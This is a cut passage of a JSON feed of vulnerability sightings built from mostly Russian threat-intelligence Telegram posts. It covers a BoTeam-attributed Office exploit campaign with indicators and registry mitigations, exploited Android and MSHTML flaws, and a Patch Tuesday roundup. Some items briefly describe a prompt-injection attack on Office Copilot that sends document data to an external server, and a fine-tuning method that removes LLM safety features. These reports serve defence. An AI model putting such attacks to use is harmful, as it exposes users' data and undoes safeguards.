\u043e\u0442\u043a\u0440\u044b\u0442\u0438\u044f \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430, \u0442\u0435\u043c \u0441\u0430\u043c\u044b\u043c \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u044f \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0443\u044e \u0441\u0442\u0430\u0434\u0438\u044e \u0430\u0442\u0430\u043a\u0438.\n\n\ud83d\udeae \u041d\u0430 \u043c\u043e\u043c\u0435\u043d\u0442 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u0439 \u044f\u0440\u043b\u044b\u043a \u0443\u0436\u0435 \u0431\u044b\u043b \u043d\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0441\u0442\u0438 \u0432\u0442\u043e\u0440\u0443\u044e \u0441\u0442\u0430\u0434\u0438\u044e \u043d\u0435 \u0443\u0434\u0430\u043b\u043e\u0441\u044c.\n\n\u041f\u0440\u0438 \u0430\u043d\u0430\u043b\u0438\u0437\u0435 \u0434\u043e\u043c\u0435\u043d\u0430 rostransnadzor.digital \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043e, \u0447\u0442\u043e \u0432 \u0435\u0433\u043e SOA-\u0437\u0430\u043f\u0438\u0441\u0438 (\u043f\u043e\u043b\u0435 RNAME) \u0443\u043a\u0430\u0437\u0430\u043d \u043a\u043e\u043d\u0442\u0430\u043a\u0442\u043d\u044b\u0439 e-mail gjegoshcappaniesh@gmail.com\n \u2014 \u044d\u0442\u043e\u0442 \u0436\u0435 e-mail \u0440\u0430\u043d\u0435\u0435 \u0444\u0438\u0433\u0443\u0440\u0438\u0440\u043e\u0432\u0430\u043b \u0443 \u0434\u043e\u043c\u0435\u043d\u043e\u0432, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0432\u0448\u0438\u0445\u0441\u044f \u0432 \u0430\u0442\u0430\u043a\u0430\u0445 \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0438 BoTeam (\u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442 4). \u0414\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043d\u0430 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u0443\u044e \u0441\u0432\u044f\u0437\u044c \u0441 \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u043e\u0439 \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u043f\u043e\u0432\u0442\u043e\u0440\u0435\u043d\u0438\u0435 \u0445\u0430\u0440\u0430\u043a\u0442\u0435\u0440\u043d\u044b\u0445 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432: \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432\u043e\u0435 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u00ab\u0410\u041a\u0422 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0442\u0440\u0430\u043d\u0441\u043f\u043e\u0440\u0442\u043d\u043e\u0433\u043e \u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0430\u00bb (\u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442\u044b 5\u20136), \u0430 \u0442\u0430\u043a\u0436\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0441\u0445\u043e\u0436\u0435\u0433\u043e \u0434\u043e\u043c\u0435\u043d\u043d\u043e\u0433\u043e \u0438\u043c\u0435\u043d\u0438 rostransnnadzor.ru.\n\n\u042d\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0430\u043c \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u043e\u0436\u0438\u0442\u044c, \u0447\u0442\u043e \u0437\u0430 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0435\u0439 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c CVE-2026-21509 \u043c\u043e\u0436\u0435\u0442 \u0441\u0442\u043e\u044f\u0442\u044c \u0445\u0430\u043a\u0435\u0440\u0441\u043a\u0430\u044f \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0430 BoTeam \ud83e\udd77\n\n\u0414\u043b\u044f \u043c\u0438\u043d\u0438\u043c\u0438\u0437\u0430\u0446\u0438\u0438 \u0440\u0438\u0441\u043a\u043e\u0432 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u043c \u043a\u0430\u043a \u043c\u043e\u0436\u043d\u043e \u0441\u043a\u043e\u0440\u0435\u0435 \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c Microsoft Office \u0434\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438. \u0415\u0441\u043b\u0438 \u043e\u043f\u0435\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043d\u0435\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e, \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0439 \u043c\u0435\u0440\u044b \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u0437\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0430\u043a\u0442\u0438\u0432\u0430\u0446\u0438\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0433\u043e OLE-\u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430 Shell.Explorer.1 (CLSID EAB22AC3-30C1-11CF-A7EB-0000C05BAE0B).\n\n1\ufe0f\u20e3 \u041d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u043d\u0430\u0439\u0442\u0438 \u043b\u0438\u0431\u043e \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u0432\u0435\u0442\u043a\u0443 COM Compatibility (\u043f\u0443\u0442\u044c \u0437\u0430\u0432\u0438\u0441\u0438\u0442 \u043e\u0442 \u0442\u0438\u043f\u0430 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u2014 MSI / Click-to-Run \u2014 \u0438 \u0440\u0430\u0437\u0440\u044f\u0434\u043d\u043e\u0441\u0442\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b 32/64-bit):\n\nMSI 64-bit \u0438\u043b\u0438 MSI 32-bit \u043d\u0430 32-bit Windows:\nHKLM\\SOFTWARE\\Microsoft\\Office\\16.0\\Common\\COM Compatibility\\\n\nMSI 32-bit \u043d\u0430 64-bit Windows:\nHKLM\\SOFTWARE\\WOW6432Node\\Microsoft\\Office\\16.0\\Common\\COM Compatibility\\\n\nC2R 64-bit \u0438\u043b\u0438 C2R 32-bit \u043d\u0430 32-bit Windows:\nHKLM\\SOFTWARE\\Microsoft\\Office\\ClickToRun\\REGISTRY\\MACHINE\\Software\\Microsoft\\Office\\16.0\\Common\\COM Compatibility\\\n\nC2R 32-bit \u043d\u0430 64-bit Windows:\nHKLM\\SOFTWARE\\Microsoft\\Office\\ClickToRun\\REGISTRY\\MACHINE\\Software\\WOW6432Node\\Microsoft\\Office\\16.0\\Common\\COM Compatibility\\\n\n2\ufe0f\u20e3 \u0412\u043d\u0443\u0442\u0440\u0438 COM Compatibility \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u043f\u043e\u0434\u0440\u0430\u0437\u0434\u0435\u043b {EAB22AC3-30C1-11CF-A7EB-0000C05BAE0B} \u0438 \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 DWORD Compatibility Flags = 0x00000400.\n\nIoCs\n\nrostransnadzor.digital\n62.3.58.8\n\nea078216452f5f6d4eea27bbc062286396a5252e2c267ecc3933d05a4e38da15\n2bbcbc88d04615079fa17708c62f07ccb138c19bb9ed78ae43f9172cd91931ba\n\n#TI #APT #Malware #Phishing #ioc\n@ptescalator (X, Max)", "creation_timestamp": "2026-02-25T17:03:03.000000Z"}, {"uuid": "03c6b209-f195-4a4e-bea2-860c3521fff6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21385", "type": "seen", "source": "https://t.me/ctinow/246512", "content": "Android devices hit by exploited Qualcomm flaw CVE-2026-21385\nhttps://ift.tt/lJszx6y", "creation_timestamp": "2026-03-03T10:34:14.000000Z"}, {"uuid": "71ed92ff-ff9c-4fec-ae46-aaae69dfd7ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21385", "type": "exploited", "source": "https://t.me/ctinow/246507", "content": "Google Confirms CVE-2026-21385 in Qualcomm Android Component Exploited\nhttps://ift.tt/yoIZ8Ba", "creation_timestamp": "2026-03-03T08:29:08.000000Z"}, {"uuid": "3b2fe523-7fe2-424d-a1d7-574704e186fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21513", "type": "exploited", "source": "https://t.me/ctinow/246479", "content": "Russia-linked APT28 exploited MSHTML zero-day CVE-2026-21513 before patch\nhttps://ift.tt/JktulTf", "creation_timestamp": "2026-03-02T15:39:08.000000Z"}, {"uuid": "7d06d518-8f8a-414b-9cdf-be2c1aa0660b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21262", "type": "seen", "source": "https://t.me/kasperskyb2b/2104", "content": "\ud83d\udc90 \u041c\u0430\u0440\u0442\u043e\u0432\u0441\u043a\u0438\u0439 Patch Tuesday: 2 \u0437\u0438\u0440\u043e\u0434\u0435\u044f \u0438 \u0434\u0435\u0444\u0435\u043a\u0442\u044b \u0418\u0418\n\nMicrosoft \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043f\u0435\u0440\u0432\u044b\u0439 \u0432\u0435\u0441\u0435\u043d\u043d\u0438\u0439 \u043f\u0430\u043a\u0435\u0442 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0438\u043c\u0435\u0435\u0442 \u0432\u043f\u043e\u043b\u043d\u0435 \u0442\u0438\u043f\u043e\u0432\u044b\u0435 \u0434\u043b\u044f \u0432\u0435\u0441\u043d\u044b \u043e\u0431\u044a\u0451\u043c\u044b \u0438 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443. \u0423\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u043e 79 \u0434\u0435\u0444\u0435\u043a\u0442\u043e\u0432, \u0441\u0440\u0435\u0434\u0438 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 2 \u0440\u0430\u0437\u0433\u043b\u0430\u0448\u0435\u043d\u044b \u0434\u043e \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f, \u043d\u043e \u0432\u0440\u043e\u0434\u0435 \u0431\u044b \u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445.  \n\n\u0422\u0440\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438\u043c\u0435\u044e\u0442 \u0441\u0442\u0430\u0442\u0443\u0441 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 (\u0432\u0441\u0435 \u2014 \u0432 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f\u0445 Office / 365), \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0435 \u2014 \u0432\u0430\u0436\u043d\u044b\u0445. 16 \u043f\u0440\u0438\u0432\u043e\u0434\u044f\u0442 \u043a \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430, 43 \u2014 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044e \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439, 9 \u2014 \u0440\u0430\u0437\u0433\u043b\u0430\u0448\u0435\u043d\u0438\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, 4 \u2014 \u043e\u0442\u043a\u0430\u0437\u0443 \u0432 \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u043d\u0438\u0438, 2 \u2014 \u043e\u0431\u0445\u043e\u0434\u0443 \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438.\n\n\u0414\u0435\u0444\u0435\u043a\u0442\u044b Office\n\u0414\u0432\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0434\u0435\u0444\u0435\u043a\u0442\u0430 MS Office, CVE-2026-26110 \u0438 -26113 (CVSS 8.4), \u043f\u0440\u0438\u0432\u043e\u0434\u044f\u0442 \u043a \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0438 \u0441\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u044e\u0442 \u0438\u0437 \u043f\u0430\u043d\u0435\u043b\u0438 \u043f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430. \u041d\u0443\u0436\u043d\u043e \u043f\u043e\u0442\u043e\u0440\u043e\u043f\u0438\u0442\u044c\u0441\u044f \u0441 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u043e\u0439 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439 \u0438 \u043f\u043e\u0434\u0443\u043c\u0430\u0442\u044c, \u043d\u0435 \u043f\u043e\u0440\u0430 \u043b\u0438 \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u044d\u0442\u0443 \u0441\u0430\u043c\u0443\u044e \u043f\u0430\u043d\u0435\u043b\u044c. \u0420\u0435\u0434\u043c\u043e\u043d\u0434, \u043f\u0440\u0430\u0432\u0434\u0430, \u043e\u0446\u0435\u043d\u0438\u0432\u0430\u0435\u0442 \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e\u0441\u0442\u044c \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043a\u0430\u043a \u043d\u0435\u0432\u044b\u0441\u043e\u043a\u0443\u044e, \u043d\u043e ZDI \u0441 \u044d\u0442\u0438\u043c \u043d\u0435 \u0441\u043e\u0433\u043b\u0430\u0441\u043d\u044b.\n\n\u0422\u0440\u0435\u0442\u044c\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Excel \u0431\u043e\u043b\u0435\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u0430. CVE-2026-26144 (CVSS 7.5) \u043e\u043f\u0438\u0441\u0430\u043d\u0430 \u043f\u0440\u043e\u0441\u0442\u043e \u043a\u0430\u043a \u0443\u0442\u0435\u0447\u043a\u0430 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u0438\u0437 Excel \u043d\u0430 \u0431\u0430\u0437\u0435 \u043c\u0435\u0436\u0441\u0430\u0439\u0442\u043e\u0432\u043e\u0433\u043e \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f (CWE-79, XSS), \u043d\u043e \u0444\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0430\u0442\u0430\u043a\u043e\u0439 \u043d\u0430 Office Copilot. \u0421\u043e\u0447\u0435\u0442\u0430\u043d\u0438\u0435 \u043f\u0440\u043e\u043c\u043f\u0442-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0438 \u0441 \u00ab\u043d\u0435\u043f\u0440\u0435\u0434\u0432\u0438\u0434\u0435\u043d\u043d\u043e\u0439 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u043e\u0439 \u0441\u0435\u0442\u0435\u0432\u044b\u0445 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0439\u00bb (unintended network egress) \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0438\u0437\u0432\u043b\u0435\u043a\u0430\u0442\u044c \u0438\u0437 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0434\u0430\u043d\u043d\u044b\u0435 \u043d\u0430 \u0432\u043d\u0435\u0448\u043d\u0438\u0439 \u0441\u0435\u0440\u0432\u0435\u0440.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f \nCVE-2026-21262 (CVSS 8.8) \u0432 SQL Server \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u043c\u0443 \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u0441\u0432\u043e\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0434\u043e \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 SQL-\u0441\u0435\u0440\u0432\u0435\u0440\u0430. \u0418\u0437\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e \u0434\u0435\u0444\u0435\u043a\u0442 \u043e\u043f\u0438\u0441\u0430\u043d \u0432 \u044d\u0442\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0435.\n\nCVE-2026-26127 (CVSS 7.5) \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442\u044c \u043a \u043e\u0442\u043a\u0430\u0437\u0443 \u0432 \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u043d\u0438\u0438 \u0432 .NET. \u0413\u0434\u0435 \u0438 \u043a\u0430\u043a \u0440\u0430\u0437\u0433\u043b\u0430\u0448\u0435\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043d\u0435 \u0441\u043a\u0430\u0437\u0430\u043d\u043e.\n\n#Microsoft #\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 @\u041f2\u0422", "creation_timestamp": "2026-03-11T08:30:06.000000Z"}, {"uuid": "8153ad80-d2e0-478d-9525-e1ef71d992ec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21513", "type": "exploited", "source": "https://t.me/ctinow/246459", "content": "APT28 Tied to CVE-2026-21513 MSHTML 0-Day Exploited Before Feb 2026 Patch Tuesday\nhttps://ift.tt/QsZYh21", "creation_timestamp": "2026-03-02T11:14:50.000000Z"}, {"uuid": "cd35ff2a-8cf5-4796-9d0e-8c2b757747c7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21509", "type": "seen", "source": "https://t.me/true_secator/7911", "content": "\u041f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u043c \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0442\u044c \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0442\u0440\u0435\u043d\u0434\u043e\u0432\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438. \u041f\u043e \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044e \u043d\u0430 \u043f\u044f\u0442\u043d\u0438\u0446\u0443 13-\u043e\u0433\u043e \u043f\u043e\u0434\u0431\u043e\u0440\u043a\u0430 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0430 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c:\n\n1. \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 287 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0439 \u0434\u043b\u044f Chrome, \u043f\u043e\u0445\u0438\u0449\u0430\u044e\u0449\u0438\u0435 \u0438\u0441\u0442\u043e\u0440\u0438\u044e \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u043e\u0432 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0438 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u0431\u043e\u043b\u0435\u0435 37 \u043c\u0438\u043b\u043b\u0438\u043e\u043d\u043e\u0432 \u0440\u0430\u0437.\n\n\u0421\u0440\u0435\u0434\u0438 \u043d\u0438\u0445 - \u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0449\u0438\u043a\u0438 \u0440\u0435\u043a\u043b\u0430\u043c\u044b, \u0418\u0418-\u043f\u043e\u043c\u043e\u0449\u043d\u0438\u043a\u0438 \u0438 \u043e\u0444\u0438\u0441\u043d\u044b\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f.\n\n2. LayerX \u0440\u0430\u0441\u043a\u0440\u044b\u043b\u0430 \u043a\u043b\u0430\u0441\u0442\u0435\u0440 \u0438\u0437\u00a030 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0439 Chrome, \u043c\u0430\u0441\u043a\u0438\u0440\u0443\u044e\u0449\u0438\u0445\u0441\u044f \u043f\u043e\u0434 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0418\u0418 \u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0445 \u0441\u043a\u0440\u044b\u0442\u044b\u0435 iframe \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u0432 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439.\n\n3. Quarkslab \u043e\u0431\u0432\u0438\u043d\u0438\u043b\u0430 Intego \u0432 \u043e\u0442\u043a\u0430\u0437\u0435 \u043e\u0442 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0440\u044f\u0434\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0441\u0432\u043e\u0438\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0434\u043b\u044f macOS, \u043d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e\u0433\u043e \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u0434\u043b\u044f \u044d\u0442\u043e\u0433\u043e.\n\n3. RCE Security \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0430 PoC \u0434\u043b\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0432 \u043f\u043b\u0430\u0433\u0438\u043d\u0435 W3 Total Cache \u0434\u043b\u044f WordPress - CVE-2025-9501. \n\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u043f\u043b\u0430\u0433\u0438\u043d \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043e\u0434\u043d\u0438\u043c \u0438\u0437 \u0441\u0430\u043c\u044b\u0445 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0445 \u0432 \u044d\u043a\u043e\u0441\u0438\u0441\u0442\u0435\u043c\u0435 WordPress.\n\n4. \u0420\u0430\u0441\u043a\u0440\u044b\u0442 \u043d\u043e\u0432\u044b\u0439 \u0432\u0435\u043a\u0442\u043e\u0440 \u0434\u0435\u0430\u043d\u043e\u043d\u0438\u043c\u0438\u0437\u0430\u0446\u0438\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 VPN \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 \u0441\u043f\u0438\u0441\u043a\u043e\u0432 \u0444\u0438\u043b\u044c\u0442\u0440\u043e\u0432 \u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u043a\u0438 \u0440\u0435\u043a\u043b\u0430\u043c\u044b, \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u0432 \u0438\u0445 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0435.\n\n\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u043c\u043e\u0436\u043d\u043e \u043e\u0442\u0441\u043b\u0435\u0434\u0438\u0442\u044c \u0434\u043e \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u044b\u0445 \u0441\u0442\u0440\u0430\u043d \u043f\u043e \u0434\u043e\u043c\u0435\u043d\u0430\u043c, \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u044b\u043c \u0432 \u0441\u043f\u0438\u0441\u043a\u0438 \u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0449\u0438\u043a\u043e\u0432 \u0440\u0435\u043a\u043b\u0430\u043c\u044b. \n\n5. Microsoft \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0430, \u0447\u0442\u043e \u043c\u0435\u0442\u043e\u0434, \u043e\u0431\u044b\u0447\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0439 \u0434\u043b\u044f \u0442\u043e\u043d\u043a\u043e\u0439 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 LLM \u043f\u043e\u0441\u043b\u0435 \u0438\u0445 \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044f, \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d \u0434\u043b\u044f \u043d\u0435\u0439\u0442\u0440\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438.\n\n\u041d\u043e\u0432\u0443\u044e \u0430\u0442\u0430\u043a\u0443 \u043d\u0430\u0437\u0432\u0430\u043b\u0438 GRP-Obliteration\u00a0(\u043f\u043e \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u044e \u043c\u0435\u0442\u043e\u0434\u0430 - Group Relative Policy Optimization (GRPO). \n\nMicrosoft \u0437\u0430\u044f\u0432\u043b\u044f\u0435\u0442, \u0447\u0442\u043e \u0442\u0435\u0441\u0442\u044b \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u043b\u0438 